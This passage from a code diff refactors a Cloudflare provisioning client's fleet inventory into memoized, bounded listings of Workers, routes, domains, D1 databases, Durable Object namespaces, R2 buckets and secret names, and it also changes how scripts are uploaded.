+        const cached = dispatchPages.get(key);
+        if (cached !== undefined) return cached.clone();
+        const response =
+          await this.#attachmentScan.requestDispatchScriptPage(input);
+        // Only a successful page is reusable; a 429 or 5xx must still reach the
+        // provider again so the shared retry contract keeps its parity.
+        if (response.ok) dispatchPages.set(key, response.clone());
+        return response;
+      },
+    };
+    return {
+      attachmentScan,
+      dispatchNamespace: () =>
+        this.#requireDispatchNamespace('collectFleetInventory'),
+      isDispatchCapabilityError: (error) =>
+        error instanceof CloudflarePlaneCapabilityError,
+      listHostRoutingKeys: async ({ namespaceId }) =>
+        memoizePerContext(`kv-keys:${namespaceId}`, async () => {
+          const keys: { name?: string }[] = [];
+          for await (const key of this.#collectBounded(
+            this.#inventoryProofClient.kv.namespaces.keys.list(namespaceId, {
+              account_id: this.#accountId,
+            }),
+            'host-routing KV key inventory',
+          )) {
+            keys.push({
+              ...(key.name === undefined ? {} : { name: key.name }),
             });
-            continue;
           }
-          if (
-            !candidate.scriptName.startsWith(options.scriptNamePrefix) &&
-            !registeredName?.startsWith(options.scriptNamePrefix)
-          ) {
-            continue;
+          return { keys };
+        }),
+      readHostRoutingValue: async ({ namespaceId, keyName }) =>
+        memoizePerContext(`kv-value:${namespaceId}\u0000${keyName}`, () =>
+          this.#readHostRouting(namespaceId, keyName),
+        ),
+      inspectDispatchWorker: async ({ scriptName }) =>
+        memoizePerContext(`dispatch-worker:${scriptName}`, () =>
+          this.inspectDispatchWorker(scriptName),
+        ),
+      getDispatchNamespace: async ({ namespace }) =>
+        memoizePerContext(`dispatch-namespace:${namespace}`, () =>
+          this.#client.workersForPlatforms.dispatch.namespaces.get(namespace, {
+            account_id: this.#accountId,
+          }),
+        ),
+      listCustomDomains: async () =>
+        memoizePerContext('custom-domains', async () => {
+          const domains: { hostname: string; service: string }[] = [];
+          for await (const domain of this.#collectBounded(
+            this.#inventoryProofClient.workers.domains.list({
+              account_id: this.#accountId,
+            }),
+            'custom domain inventory',
+          )) {
+            if (
+              !readStringField(domain, 'hostname') ||
+              !readStringField(domain, 'service')
+            )
+              throw new Error(
+                'custom domain inventory has an invalid hostname or service',
+              );
+            domains.push({
+              hostname: domain.hostname,
+              service: domain.service,
+            });
           }
-          const keyOwned = registeredName === candidate.scriptName;
-          registrations.push({
-            scriptName: candidate.scriptName,
-            tenantTag: candidate.tenantTag,
-            environment: candidate.environment,
-            databaseId: candidate.databaseId,
-            routeHostname: candidate.routeHostname,
-            keyOwned,
-          });
-          if (!keyOwned) {
-            findings.push({
-              tenantTag: candidate.tenantTag,
-              environment: candidate.environment,
-              kind: 'stale-script-registration',
-              detail: `script inventory key '${key.name}' claims '${candidate.scriptName}'`,
+          return { domains };
+        }),
+      listWorkerRouteZoneIds: async () =>
+        memoizePerContext('zone-ids', () => this.#workerRouteZoneIds()),
+      listZoneRoutes: async ({ zoneId }) =>
+        memoizePerContext(`zone-routes:${zoneId}`, async () => {
+          const routes: {
+            id?: string;
+            pattern?: string;
+            script?: string;
+          }[] = [];
+          for await (const route of this.#collectBounded(
+            this.#inventoryProofClient.workers.routes.list({ zone_id: zoneId }),
+            'Worker zone-route inventory',
+          )) {
+            const script = readField(route, 'script');
+            if (
+              script !== undefined &&
+              script !== null &&
+              typeof script !== 'string'
+            )
+              throw new Error(
+                'Worker zone-route inventory has an invalid script',
+              );
+            routes.push({
+              ...(route.id === undefined ? {} : { id: route.id }),
+              ...(route.pattern === undefined
+                ? {}
+                : { pattern: route.pattern }),
+              ...(typeof script === 'string' ? { script } : {}),
             });
           }
-          continue;
-        }
-        if (
-          typeof candidate.scriptName !== 'string' ||
-          typeof candidate.tenantTag !== 'string' ||
-          typeof candidate.environment !== 'string' ||
-          typeof candidate.policyId !== 'string' ||
-          typeof candidate.policyDigest !== 'string' ||
-          !Array.isArray(candidate.policyHosts) ||
-          candidate.policyHosts.some((host) => typeof host !== 'string')
-        ) {
-          findings.push({
-            tenantTag:
-              typeof candidate.tenantTag === 'string'
-                ? candidate.tenantTag
-                : 'unknown',
-            environment:
-              typeof candidate.environment === 'string'
-                ? candidate.environment
-                : 'unknown',
-            kind: 'malformed-route',
-            detail: `host route '${key.name}' has incomplete ownership metadata`,
-          });
-          continue;
-        }
-        let policy: ReturnType<typeof canonicalDeploymentEgressPolicy>;
-        try {
-          policy = canonicalDeploymentEgressPolicy({
-            policyId: candidate.policyId,
-            tenantTag: candidate.tenantTag,
-            environment: candidate.environment,
-            allowedHosts: candidate.policyHosts as string[],
-          });
-        } catch {
-          findings.push({
-            tenantTag: candidate.tenantTag,
-            environment: candidate.environment,
-            kind: 'malformed-route',
-            detail: `host route '${key.name}' has invalid policy metadata`,
-          });
-          continue;
-        }
-        if (
-          candidate.policyDigest !== policy.policyDigest ||
-          JSON.stringify(candidate.policyHosts) !==
-            JSON.stringify(policy.policyHosts)
-        ) {
-          findings.push({
-            tenantTag: candidate.tenantTag,
-            environment: candidate.environment,
-            kind: 'malformed-route',
-            detail: `host route '${key.name}' has inconsistent policy metadata`,
-          });
-          continue;
-        }
-        let stateEgress: HostRoutingTarget['stateEgress'];
-        try {
-          stateEgress = (await parseHostRoutingTarget(serialized)).stateEgress;
-        } catch {
-          findings.push({
-            tenantTag: candidate.tenantTag,
-            environment: candidate.environment,
-            kind: 'malformed-route',
-            detail: `host route '${key.name}' has invalid state-egress metadata`,
-          });
-          continue;
-        }
-        if (!candidate.scriptName.startsWith(options.scriptNamePrefix))
-          continue;
-        routes.push({
-          backend: 'workers-for-platforms',
-          surface: 'host-registry',
-          hostname: key.name,
-          scriptName: candidate.scriptName,
-          tenantTag: candidate.tenantTag,
-          environment: candidate.environment,
-          ...policy,
-          ...(stateEgress ? { stateEgress } : {}),
-        });
-      }
-    }
+          return { routes };
+        }),
+      listOrdinaryScripts: async () =>
+        memoizePerContext('ordinary-scripts', async () => {
+          const scripts: { id?: string }[] = [];
+          for await (const script of this.#collectBounded(
+            this.#inventoryProofClient.workers.scripts.list({
+              account_id: this.#accountId,
+            }),
+            'ordinary Worker script inventory',
+          )) {
+            const id = readStringField(script, 'id');
+            if (!id)
+              throw new Error(
+                'ordinary Worker script inventory has an invalid ID',
+              );
+            scripts.push({ id });
+          }
+          return { scripts };
+        }),
+      readOrdinaryScriptDetail: async ({ scriptName }) =>
+        memoizePerContext(`ordinary-detail:${scriptName}`, () =>
+          this.#readOrdinaryScriptDetail(scriptName),
+        ),
+      listDatabases: async () =>
+        memoizePerContext('d1-databases', async () => {
+          const databases: { uuid: string; name: string }[] = [];
+          for await (const database of this.#collectBounded(
+            this.#inventoryProofClient.d1.database.list({
+              account_id: this.#accountId,
+            }),
+            'D1 database inventory',
+            MAX_DATABASE_INVENTORY,
+          )) {
+            const uuid = readStringField(database, 'uuid');
+            const name = readStringField(database, 'name');
+            if (!uuid || !name)
+              throw new Error(
+                'D1 database inventory has an invalid uuid or name',
+              );
+            databases.push({ uuid, name });
+          }
+          return { databases };
+        }),
+      listDurableObjectNamespaces: async () =>
+        memoizePerContext('do-namespaces', async () => {
+          const namespaces: { id: string; script: string }[] = [];
+          for await (const namespace of this.#collectBounded(
+            this.#inventoryProofClient.durableObjects.namespaces.list({
+              account_id: this.#accountId,
+            }),
+            'Durable Object namespace inventory',
+          )) {
+            const id = readStringField(namespace, 'id');
+            const script = readStringField(namespace, 'script');
+            if (!id || !script)
+              throw new Error(
+                'Durable Object namespace inventory has an invalid ID or script association',
+              );
+            namespaces.push({ id, script });
+          }
+          return { namespaces };
+        }),
+      listR2Buckets: async ({ jurisdiction, namePrefix, startAfter }) =>
+        memoizePerContext(
+          `r2:${jurisdiction}\u0000${startAfter ?? ''}\u0000${namePrefix}`,
+          async () => {
+            const page = await this.#client.r2.buckets.list({
+              account_id: this.#accountId,
+              jurisdiction,
+              name_contains: namePrefix,
+              order: 'name',
+              direction: 'asc',
+              per_page: R2_INVENTORY_PAGE_SIZE,
+              ...(startAfter ? { start_after: startAfter } : {}),
+            });
+            return { buckets: page.buckets === undefined ? [] : page.buckets };
+          },
+        ),
+    };
+  }
 
-    const includeDispatchNamespace =
-      options.includeDispatchNamespace ?? options.hostRoutingKvId !== undefined;
-    const dispatchScripts = includeDispatchNamespace
-      ? await this.#dispatchScripts()
-      : [];
-    const dispatchScriptsByName = new Map(
-      dispatchScripts.map((script) => [script.id, script]),
+  /**
+   * Resolves one ordinary Worker's active artifact exactly as the single-pass
+   * drain did inside its per-script `try`, so an unsupported binding or a
+   * missing active version still becomes the `incomplete-deployment` finding.
+   */
+  async #readOrdinaryScriptDetail(
+    scriptName: string,
+  ): Promise<FleetInventoryOrdinaryScriptDetail> {
+    const deploymentList = await this.#client.workers.scripts.deployments.list(
+      scriptName,
+      { account_id: this.#accountId },
     );
-    const deployments: FleetResourceInventory['deployments'][number][] = [];
-    for (const registration of registrations) {
-      const listed = dispatchScriptsByName.get(registration.scriptName);
-      if (includeDispatchNamespace && !listed) {
-        findings.push({
-          tenantTag: registration.tenantTag,
-          environment: registration.environment,
-          kind: 'stale-script-registration',
-          detail: `registered script '${registration.scriptName}' is absent from the dispatch namespace listing`,
-        });
-      }
-      if (
-        includeDispatchNamespace &&
-        listed &&
-        (!listed.tags.includes(FLEET_SCRIPT_TAG) ||
-          tagValue(listed.tags, 'tenant:') !== registration.tenantTag ||
-          tagValue(listed.tags, 'environment:') !== registration.environment)
-      ) {
-        findings.push({
-          tenantTag: registration.tenantTag,
-          environment: registration.environment,
-          kind: 'stale-script-registration',
-          detail: `registered script '${registration.scriptName}' does not match its live fleet tags`,
-        });
-      }
-      let live: Awaited<ReturnType<typeof this.inspectDispatchWorker>>;
-      try {
-        live = await this.inspectDispatchWorker(registration.scriptName);
-      } catch (error) {
-        findings.push({
-          tenantTag: registration.tenantTag,
-          environment: registration.environment,
-          kind: 'stale-script-registration',
-          detail: `registered script '${registration.scriptName}' could not be inspected: ${String(error)}`,
-        });
-        continue;
-      }
-      if (!live) {
-        findings.push({
-          tenantTag: registration.tenantTag,
-          environment: registration.environment,
-          kind: 'stale-script-registration',
-          detail: `registered script '${registration.scriptName}' is missing`,
-        });
-        continue;
-      }
-      deployments.push({
-        backend: 'workers-for-platforms',
-        scriptName: registration.scriptName,
-        tenantTag: live.tenantTag,
-        environment: live.environment,
-        databaseIds: live.databaseIds,
-        durableObjectBindings: live.durableObjectBindings,
-        serviceBindings: live.serviceBindings,
-        queueProducerBindings: live.queueProducerBindings,
-        r2BucketBindings: live.r2BucketBindings,
-        plainTextBindings: live.plainTextBindings,
-        secretNames: live.secretNames,
-        routeHostnames: routes
-          .filter(
-            (route) =>
-              route.backend === 'workers-for-platforms' &&
-              route.scriptName === registration.scriptName,
-          )
-          .map((route) => route.hostname),
-        artifactVersion: live.artifactVersion,
-        desiredSpecDigest: live.desiredSpecDigest,
-        schemaVersion: live.schemaVersion,
-      });
-      const ownerMatches =
-        registration.keyOwned &&
-        live.tenantTag === registration.tenantTag &&
-        live.environment === registration.environment &&
-        live.databaseIds.length === 1 &&
-        live.databaseIds[0] === registration.databaseId;
-      if (!ownerMatches && registration.keyOwned) {
-        findings.push({
-          tenantTag: registration.tenantTag,
-          environment: registration.environment,
-          kind: 'stale-script-registration',
-          detail: `registered script '${registration.scriptName}' does not match its live tenant, environment, or database ownership`,
-        });
-      }
-    }
-    const registrationByScript = new Map(
-      registrations.map((registration) => [
-        registration.scriptName,
-        registration,
+    const artifactVersion = exactActiveVersionId(
+      deploymentList.deployments[0],
+      `ordinary Worker '${scriptName}'`,
+    );
+    const [activeVersion, subdomain, secretNames] = await Promise.all([
+      this.#client.workers.scripts.versions.get(artifactVersion, {
+        account_id: this.#accountId,
+        script_name: scriptName,
+      }),
+      ordinaryWorkerSubdomain(this.#ordinary, scriptName),
+      ordinaryWorkerSecretNames(this.#ordinary, scriptName),
+    ]);
+    const bindings =
+      activeVersion.resources.bindings === undefined
+        ? []
+        : activeVersion.resources.bindings;
+    assertSupportedProviderBindings(
+      bindings,
+      new Set([
+        'd1',
+        'durable_object_namespace',
+        'service',
+        'queue',
+        'kv_namespace',
+        'dispatch_namespace',
+        'r2_bucket',
+        'plain_text',
+        'secret_text',
       ]),
+      `plain Worker '${scriptName}'`,
     );
-    for (const script of dispatchScripts) {
-      const registration = registrationByScript.get(script.id);
-      if (registration?.keyOwned) continue;
-      findings.push({
-        tenantTag: tagValue(script.tags, 'tenant:') ?? 'unknown',
-        environment: tagValue(script.tags, 'environment:') ?? 'unknown',
-        kind: 'unknown-dispatch-scripts',
-        detail: `dispatch script '${script.id}' has no valid owner-checked registry entry`,
-      });
-    }
-    for (const route of routes) {
-      if (route.backend !== 'workers-for-platforms') continue;
-      const registration = registrationByScript.get(route.scriptName);
-      if (
-        !registration?.keyOwned ||
-        registration.tenantTag !== route.tenantTag ||
-        registration.environment !== route.environment ||
-        registration.routeHostname !== route.hostname
-      ) {
-        findings.push({
-          tenantTag: route.tenantTag,
-          environment: route.environment,
-          kind: 'stale-route',
-          detail: `host route '${route.hostname}' does not match its script registration owner`,
-        });
-      }
-    }
-
-    let dispatchScriptCount: number | undefined;
-    let dispatchNamespaceInventory: FleetResourceInventory['dispatchNamespace'];
-    if (includeDispatchNamespace) {
-      const dispatchNamespace =
-        await this.#client.workersForPlatforms.dispatch.namespaces.get(
-          this.#dispatchNamespace,
-          { account_id: this.#accountId },
-        );
-      dispatchScriptCount = dispatchNamespace.script_count;
-      if (
-        typeof dispatchScriptCount !== 'number' ||
-        !Number.isSafeInteger(dispatchScriptCount) ||
-        dispatchScriptCount < 0
-      ) {
-        throw new Error(
-          `dispatch namespace '${this.#dispatchNamespace}' returned no valid script_count`,
-        );
-      }
-      dispatchNamespaceInventory = {
-        name: dispatchNamespace.namespace_name ?? this.#dispatchNamespace,
-        ...(dispatchNamespace.namespace_id
-          ? { namespaceId: dispatchNamespace.namespace_id }
-          : {}),
-        trustedWorkers: dispatchNamespace.trusted_workers,
-        scriptCount: dispatchScriptCount,
-      };
-      if (
-        dispatchNamespace.namespace_name !== this.#dispatchNamespace ||
-        dispatchNamespace.trusted_workers !== false
-      ) {
-        findings.push({
-          tenantTag: 'unknown',
-          environment: 'unknown',
-          kind: 'trusted-dispatch-namespace',
-          detail: `dispatch namespace '${this.#dispatchNamespace}' does not attest trusted_workers=false`,
-        });
-      }
-      if (dispatchScriptCount > dispatchScripts.length) {
-        findings.push({
-          tenantTag: 'unknown',
-          environment: 'unknown',
-          kind: 'unknown-dispatch-scripts',
-          detail: `dispatch namespace '${this.#dispatchNamespace}' reports ${dispatchScriptCount - dispatchScripts.length} script(s) missing from the paginated listing`,
-        });
-      }
-    }
-
-    const customDomains = [];
-    for await (const domain of this.#client.workers.domains.list({
-      account_id: this.#accountId,
-    })) {
-      if (domain.service.startsWith(options.scriptNamePrefix)) {
-        customDomains.push(domain);
-      }
-    }
-    const zoneRoutes: Array<
-      import('./types.js').WorkerZoneRoute & { readonly scriptName: string }
-    > = [];
-    const workerRouteZoneIds = await this.#workerRouteZoneIds();
-    for (const zoneId of workerRouteZoneIds) {
-      for await (const route of this.#client.workers.routes.list({
-        zone_id: zoneId,
-      })) {
-        if (
-          route.script?.startsWith(options.scriptNamePrefix) &&
-          route.id &&
-          route.pattern
-        ) {
-          zoneRoutes.push({
-            zoneId,
-            routeId: route.id,
-            pattern: route.pattern,
-            scriptName: route.script,
-          });
-        }
-      }
-    }
-    const plainIdentities = new Map<
-      string,
-      { readonly tenantTag: string; readonly environment: string }
-    >();
-    for await (const script of this.#client.workers.scripts.list({
-      account_id: this.#accountId,
-    })) {
-      const scriptName = script.id;
-      if (!scriptName?.startsWith(options.scriptNamePrefix)) continue;
-      try {
-        const deploymentList =
-          await this.#client.workers.scripts.deployments.list(scriptName, {
-            account_id: this.#accountId,
-          });
-        const activeDeployment = deploymentList.deployments[0];
-        const artifactVersion = exactActiveVersionId(
-          activeDeployment,
-          `ordinary Worker '${scriptName}'`,
-        );
-        const [activeVersion, subdomain, secretNames] = await Promise.all([
-          this.#client.workers.scripts.versions.get(artifactVersion, {
-            account_id: this.#accountId,
-            script_name: scriptName,
-          }),
-          this.#client.workers.scripts.subdomain.get(scriptName, {
-            account_id: this.#accountId,
-          }),
-          this.#ordinaryWorkerSecretNames(scriptName),
-        ]);
-        const bindings = activeVersion.resources.bindings ?? [];
-        const databaseIds = bindings.flatMap((binding) =>
-          binding.type === 'd1' && binding.database_id
-            ? [binding.database_id]
-            : [],
-        );
-        const durableObjectBindings = bindings.flatMap((binding) => {
-          if (
-            binding.type !== 'durable_object_namespace' ||
-            !binding.namespace_id ||
-            !binding.name ||
-            !binding.class_name
-          ) {
-            return [];
-          }
-          return [
-            {
-              name: binding.name,
-              className: binding.class_name,
-              namespaceId: binding.namespace_id,
-              ...(binding.script_name
-                ? { scriptName: binding.script_name }
-                : {}),
-              ...(binding.dispatch_namespace
-                ? { dispatchNamespace: binding.dispatch_namespace }
-                : {}),
-            },
-          ];
-        });
-        const serviceBindings = bindings.flatMap((binding) =>
-          binding.type === 'service' && binding.name && binding.service
-            ? [
-                {
-                  name: binding.name,
-                  service: binding.service,
-                  ...(binding.entrypoint
-                    ? { entrypoint: binding.entrypoint }
-                    : {}),
-                },
-              ]
-            : [],
-        );
-        const queueProducerBindings = bindings.flatMap((binding) =>
-          binding.type === 'queue' && binding.name && binding.queue_name
-            ? [{ name: binding.name, queueName: binding.queue_name }]
-            : [],
-        );
-        const kvNamespaceBindings = bindings.flatMap((binding) =>
-          binding.type === 'kv_namespace' &&
-          binding.name &&
-          binding.namespace_id
-            ? [{ name: binding.name, namespaceId: binding.namespace_id }]
-            : [],
-        );
-        const r2BucketBindings = bindings.flatMap((binding) =>
-          binding.type === 'r2_bucket' && binding.name && binding.bucket_name
-            ? [
-                {
-                  name: binding.name,
-                  bucketName: binding.bucket_name,
-                  jurisdiction: 'default' as const,
-                },
-              ]
-            : [],
-        );
-        const plainText = new Map(
-          bindings.flatMap((binding) =>
-            binding.type === 'plain_text'
-              ? [[binding.name, binding.text] as const]
-              : [],
-          ),
-        );
-        assertSupportedProviderBindings(
-          bindings,
-          new Set([
-            'd1',
-            'durable_object_namespace',
-            'service',
-            'queue',
-            'kv_namespace',
-            'dispatch_namespace',
-            'r2_bucket',
-            'plain_text',
-            'secret_text',
-          ]),
-          `plain Worker '${scriptName}'`,
-        );
-        const tenantTag = plainText.get('DEPLOYMENT_TENANT');
-        const environment = plainText.get('FLEET_ENVIRONMENT');
-        const resourceRole = plainText.get('FLEET_RESOURCE_ROLE');
-        const resourceGroupId = plainText.get('FLEET_RESOURCE_GROUP');
-        const schemaVersion = Number(plainText.get('FLEET_SCHEMA_VERSION'));
-        const scriptZoneRoutes = zoneRoutes.filter(
-          (route) => route.scriptName === scriptName,
-        );
-        if (
-          !tenantTag ||
-          !environment ||
-          !Number.isSafeInteger(schemaVersion)
-        ) {
-          throw new Error('active Worker identity settings are missing');
-        }
-        if (
-          (resourceRole === 'platform-state' ||
-            resourceRole === 'deployment-egress') &&
-          (subdomain.enabled ||
-            subdomain.previews_enabled ||
-            scriptZoneRoutes.length > 0)
-        ) {
-          findings.push({
-            tenantTag,
-            environment,
-            kind: 'incomplete-deployment',
-            detail: `trusted Worker '${scriptName}' is publicly reachable on workers.dev, a preview URL, or a zone route`,
-          });
-        }
-        plainIdentities.set(scriptName, { tenantTag, environment });
-        deployments.push({
-          backend: 'plain-worker',
-          ...(resourceRole === 'platform-state' ||
-          resourceRole === 'deployment-egress'
-            ? { resourceRole, resourceGroupId }
-            : {}),
-          scriptName,
-          tenantTag,
-          environment,
-          databaseIds,
-          durableObjectBindings,
-          serviceBindings,
-          queueProducerBindings,
-          kvNamespaceBindings,
-          r2BucketBindings,
-          secretNames,
-          plainTextBindings: Object.fromEntries(plainText),
-          routeHostnames: customDomains
-            .filter((domain) => domain.service === scriptName)
-            .map((domain) => domain.hostname),
-          zoneRoutes: scriptZoneRoutes.map(
-            ({ scriptName: _scriptName, ...route }) => route,
-          ),
-          artifactVersion,
-          ...(plainText.get('FLEET_SPEC_DIGEST')
-            ? { desiredSpecDigest: plainText.get('FLEET_SPEC_DIGEST') }
-            : {}),
-          schemaVersion,
-        });
-      } catch (error) {
-        findings.push({
-          tenantTag: 'unknown',
-          environment: 'unknown',
-          kind: 'incomplete-deployment',
-          detail: `plain Worker '${scriptName}' could not be inventoried: ${String(error)}`,
-        });
-      }
-    }
-    for (const domain of customDomains) {
-      const identity = plainIdentities.get(domain.service);
-      routes.push({
-        backend: 'plain-worker',
-        surface: 'custom-domain',
-        hostname: domain.hostname,
-        scriptName: domain.service,
-        tenantTag: identity?.tenantTag ?? 'unknown',
-        environment: identity?.environment ?? 'unknown',
-      });
-      if (!identity) {
-        findings.push({
-          tenantTag: 'unknown',
-          environment: 'unknown',
-          kind: 'stale-route',
-          detail: `custom domain '${domain.hostname}' points to a missing or incomplete plain Worker '${domain.service}'`,
-        });
-      }
-    }
-    for (const route of zoneRoutes) {
-      const identity = plainIdentities.get(route.scriptName);
-      routes.push({
-        backend: 'plain-worker',
-        surface: 'zone-route',
-        zoneId: route.zoneId,
-        routeId: route.routeId,
-        hostname: route.pattern,
-        scriptName: route.scriptName,
-        tenantTag: identity?.tenantTag ?? 'unknown',
-        environment: identity?.environment ?? 'unknown',
-      });
-      findings.push({
-        tenantTag: identity?.tenantTag ?? 'unknown',
-        environment: identity?.environment ?? 'unknown',
-        kind: 'stale-route',
-        detail: `zone route '${route.pattern}' exposes plain Worker '${route.scriptName}'`,
-      });
-    }
+    return {
+      artifactVersion,
+      bindings: bindings as readonly FleetInventoryProviderBinding[],
+      subdomainEnabled: subdomain.enabled,
+      previewsEnabled: subdomain.previews_enabled,
+      secretNames,
+    };
+  }
 
-    const databaseIds: string[] = [];
-    for await (const database of this.#client.d1.database.list({
-      account_id: this.#accountId,
-    })) {
-      if (
-        database.uuid &&
-        database.name?.startsWith(options.databaseNamePrefix)
-      ) {
-        databaseIds.push(database.uuid);
-      }
-    }
-    const namespaceIds: string[] = [];
-    const registeredScriptNames = new Set(
-      registrations.map((registration) => registration.scriptName),
-    );
-    for await (const namespace of this.#client.durableObjects.namespaces.list({
-      account_id: this.#accountId,
-    })) {
-      if (
-        namespace.id &&
-        namespace.script &&
-        (registeredScriptNames.has(namespace.script) ||
-          namespace.script.startsWith(options.scriptNamePrefix))
-      ) {
-        namespaceIds.push(namespace.id);
-      }
-    }
-    const r2Buckets: Array<
-      NonNullable<FleetResourceInventory['r2Buckets']>[number]
-    > = [];
-    for (const jurisdiction of options.includeR2Buckets
-      ? (['default', 'eu', 'fedramp'] as const)
-      : []) {
-      let startAfter: string | undefined;
-      for (;;) {
-        const page = await this.#client.r2.buckets.list({
-          account_id: this.#accountId,
-          jurisdiction,
-          name_contains: options.scriptNamePrefix,
-          order: 'name',
-          direction: 'asc',
-          per_page: 1000,
-          ...(startAfter ? { start_after: startAfter } : {}),
-        });
-        const buckets = page.buckets ?? [];
-        for (const bucket of buckets) {
-          if (!bucket.name?.startsWith(options.scriptNamePrefix)) continue;
-          if (
-            bucket.jurisdiction !== undefined &&
-            bucket.jurisdiction !== jurisdiction
-          ) {
-            throw new Error(`R2 bucket '${bucket.name}' changed jurisdiction`);
-          }
-          if (
-            !bucket.creation_date ||
-            !Number.isFinite(Date.parse(bucket.creation_date))
-          ) {
-            throw new Error(
-              `R2 bucket '${bucket.name}' has no valid creation date`,
-            );
-          }
-          r2Buckets.push({
-            bucketName: bucket.name,
-            jurisdiction,
-            creationDate: new Date(bucket.creation_date).toISOString(),
-          });
-        }
-        if (buckets.length < 1000) break;
-        const last = buckets.at(-1)?.name;
-        if (!last || last === startAfter) {
-          throw new Error('R2 bucket inventory pagination did not advance');
-        }
-        startAfter = last;
-      }
-    }
+  #fleetInventoryContext(): FleetInventoryProviderContext {
+    const deps = this.#fleetInventoryDeps();
     return {
-      findings,
-      ...(options.hostRoutingKvId
-        ? { hostRoutingKvId: options.hostRoutingKvId }
-        : {}),
-      dispatchScriptCount,
-      ...(dispatchNamespaceInventory
-        ? { dispatchNamespace: dispatchNamespaceInventory }
-        : {}),
-      scriptRegistrations: registrations.map(
-        ({ keyOwned: _keyOwned, ...registration }) => registration,
-      ),
-      deployments,
-      databaseIds,
-      namespaceIds,
-      r2Buckets,
-      routes,
+      advanceStage: (input) =>
+        advanceCloudflareFleetInventoryStage(deps, input),
     };
   }
 
   async hasDurableObjectNamespace(namespaceId: string): Promise<boolean> {
     if (!namespaceId) throw new Error('namespaceId is required');
-    for await (const namespace of this.#client.durableObjects.namespaces.list({
-      account_id: this.#accountId,
-    })) {
-      if (namespace.id === namespaceId) return true;
+    return (
+      (await this.existingDurableObjectNamespaceIds([namespaceId])).length > 0
+    );
+  }
+
+  /**
+   * Returns the requested namespace IDs that still exist after one complete,
+   * bounded account inventory traversal.
+   */
+  async existingDurableObjectNamespaceIds(
+    ids: readonly string[],
+  ): Promise<readonly string[]> {
+    const requestedIds = canonicalDurableObjectNamespaceIds(ids);
+    if (requestedIds.length === 0) return [];
+    const requested = new Set(requestedIds);
+    const existing = new Set<string>();
+    for await (const namespace of this.#collectBounded(
+      this.#inventoryProofClient.durableObjects.namespaces.list({
+        account_id: this.#accountId,
+      }),
+      'Durable Object namespace inventory',
+    )) {
+      const id = readStringField(namespace, 'id');
+      if (!id)
+        throw new Error('Durable Object namespace inventory has an invalid ID');
+      if (requested.has(id)) existing.add(id);
     }
-    return false;
+    return [...existing].sort();
   }
 
   async listDurableObjectNamespaces(
@@ -2048,12 +1945,19 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   ): Promise<readonly string[]> {
     if (!scriptName) throw new Error('scriptName is required');
     const namespaceIds: string[] = [];
-    for await (const namespace of this.#client.durableObjects.namespaces.list({
-      account_id: this.#accountId,
-    })) {
-      if (namespace.script === scriptName && namespace.id) {
-        namespaceIds.push(namespace.id);
-      }
+    for await (const namespace of this.#collectBounded(
+      this.#inventoryProofClient.durableObjects.namespaces.list({
+        account_id: this.#accountId,
+      }),
+      'Durable Object namespace inventory',
+    )) {
+      const id = readStringField(namespace, 'id');
+      const script = readStringField(namespace, 'script');
+      if (!id || !script)
+        throw new Error(
+          'Durable Object namespace inventory has an invalid ID or script association',
+        );
+      if (script === scriptName) namespaceIds.push(id);
     }
     return [...new Set(namespaceIds)].sort();
   }
@@ -2073,22 +1977,26 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       ),
     );
     return this.#schedule(async () => {
+      const metadata = JSON.stringify({
+        bindings: spec.bindings,
+        compatibility_date: spec.compatibilityDate,
+        compatibility_flags: spec.compatibilityFlags
+          ? [...spec.compatibilityFlags]
+          : undefined,
+        keep_bindings: ['secret_text'],
+        main_module: spec.mainModule,
+        migrations: spec.migrations,
+        tags: spec.tags ? [...spec.tags] : undefined,
+      });
       const result = await this.#client.workers.scripts.update(
         spec.scriptName,
         {
           account_id: this.#accountId,
-          files,
-          metadata: {
-            bindings: spec.bindings as never,
-            compatibility_date: spec.compatibilityDate,
-            compatibility_flags: spec.compatibilityFlags
-              ? [...spec.compatibilityFlags]
-              : undefined,
-            keep_bindings: ['secret_text'],
-            main_module: spec.mainModule,
-            migrations: spec.migrations as never,
-            tags: spec.tags ? [...spec.tags] : undefined,
-          },
+          metadata: metadata as never,
+        },
+        {
+          body: namedWorkerUploadBody(files, metadata),
+          headers: { 'Content-Type': null },
         },
       );
       if (!result.etag) {
@@ -2104,11 +2012,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   ): Promise<void> {
     await this.#schedule(async () => {
       const currentSecretNames: string[] = [];
-      for await (const secret of this.#client.workers.scripts.secrets.list(
-        scriptName,
-        { account_id: this.#accountId },
+      for await (const secret of this.#collectBounded(
+        this.#inventoryProofClient.workers.scripts.secrets.list(scriptName, {
+          account_id: this.#accountId,
+        }),
+        'ordinary Worker secret inventory',
       )) {
-        if (!secret.name) {
+        if (!readStringField(secret, 'name')) {
           throw new Error(
             `control Worker '${scriptName}' returned a secret without a name`,
           );
@@ -2135,11 +2045,18 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
         });
       }
       const secretNames: string[] = [];
-      for await (const secret of this.#client.workers.scripts.secrets.list(
-        scriptName,
-        { account_id: this.#accountId },
+      for await (const secret of this.#collectBounded(
+        this.#inventoryProofClient.workers.scripts.secrets.list(scriptName, {
+          account_id: this.#accountId,
+        }),
+        'ordinary Worker secret inventory',
       )) {
-        if (secret.name) secretNames.push(secret.name);
+        const name = readStringField(secret, 'name');
+        if (!name)
+          throw new Error(
+            'ordinary Worker secret inventory has an invalid name',
+          );
+        secretNames.push(name);
       }
       secretNames.sort();
       if (JSON.stringify(secretNames) !== JSON.stringify(desiredSecretNames)) {
@@ -2188,12 +2105,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
             account_id: this.#accountId,
             script_name: scriptName,
           }),
-          this.#client.workers.scripts.subdomain.get(scriptName, {
-            account_id: this.#accountId,
-          }),
-          this.#ordinaryWorkerSecretNames(scriptName),
+          ordinaryWorkerSubdomain(this.#ordinary, scriptName),
+          ordinaryWorkerSecretNames(this.#ordinary, scriptName),
         ]);
-        const bindings = activeVersion.resources.bindings ?? [];
+        const bindings =
+          activeVersion.resources.bindings === undefined
+            ? []
+            : activeVersion.resources.bindings;
         const databaseIds = bindings.flatMap((binding) =>
           binding.type === 'd1' && binding.database_id
             ? [binding.database_id]
@@ -2297,19 +2215,46 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
           `control Worker '${scriptName}'`,
         );
         const routeHostnames: string[] = [];
-        for await (const domain of this.#client.workers.domains.list({
-          account_id: this.#accountId,
-        })) {
-          if (domain.service === scriptName)
+        for await (const domain of this.#collectBounded(
